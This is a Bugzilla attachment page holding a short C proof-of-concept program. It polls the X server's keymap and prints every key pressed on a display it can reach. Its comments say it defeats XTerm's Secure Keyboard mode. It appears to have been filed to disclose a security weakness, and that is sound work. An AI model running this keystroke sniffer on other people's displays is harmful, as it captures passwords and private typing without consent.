Attachment 79063 Details for Bug 64402 – Proof-of-concept key-reading program

Proof-of-concept key-reading program

readchars.c (text/plain), 1.47 KB, created by Daniel Richard G. on 2013-05-09 20:35:43 UTC

(hide)

Description:

Filename:

MIME Type:

Creator: Daniel Richard G.

Created: 2013-05-09 20:35:43 UTC

Size: 1.47 KB

patch

obsolete

>/*
>  readchars.c
>
>  Read everything typed on an X terminal you're allowed to connect to.
>  (defeats XTerm's "Secure Keyboard" mode)
>
>  Copyright (C) 1997 Christopher Creutzig
>  http://www.redhat.com/archives/linux-security/1997-October/msg00010.html
>  http://insecure.org/sploits/xsecurekeyboard_fequent_query.html
>
>  Revised May 2013 by Daniel Richard G. <skunk@iSKUNK.ORG>
>
>  Compile with "gcc -o readchars readchars.c -lX11"
>*/
>
>#include <X11/Xlib.h>
>#include <stdio.h>
>#include <stdlib.h>
>#include <string.h>
>#include <sys/time.h>
>#include <sys/types.h>
>#include <unistd.h>
>
>int main(int argc, char **argv)
>{
>	Display *disp;
>	int i, j, changed;
>	char *s;
>	struct timeval shorttime;
>	char keys[32];
>	char lastkeys[32];
>
>	s = getenv("DISPLAY");
>	disp = XOpenDisplay(s);
>	if (NULL == disp)
>	{
>		fprintf(stderr, "%s: can't open display %s\n", argv[0], s);
>		exit(1);
>	}
>
>	for (i = 0; i < 32; i++)
>	{
>		keys[i] = 0;
>		lastkeys[i] = 1;
>	}
>
>	printf("Keys pressed:");
>	fflush(stdout);
>
>	for (;;)
>	{
>		shorttime.tv_sec  = 0;
>		shorttime.tv_usec = 10000;	/* 100 Hz */
>		select(0, NULL, NULL, NULL, &shorttime);
>
>		XQueryKeymap(disp, keys);
>
>		changed = 0;
>		for (i = 0; i < 32; i++)
>		{
>			if (keys[i] & ~lastkeys[i])
>				changed = 1;
>		}
>
>		if (changed)
>		{
>			for (i = 0; i < 32; i++)
>				for (j = 0; j < 8; j++)
>					if ((keys[i] & (1 << j)) && ! (lastkeys[i] & (1 << j)))
>						printf(" %d", 8 * i + j);
>			fflush(stdout);
>		}
>
>		memcpy(lastkeys, keys, sizeof(keys));
>	}
>
>	XCloseDisplay(disp);
>
>	return 0;
>}

Actions: View

Attachments on bug 64402: 79063

Use of freedesktop.org services, including Bugzilla, is subject to our Code of Conduct. How we collect and use information is described in our Privacy Policy.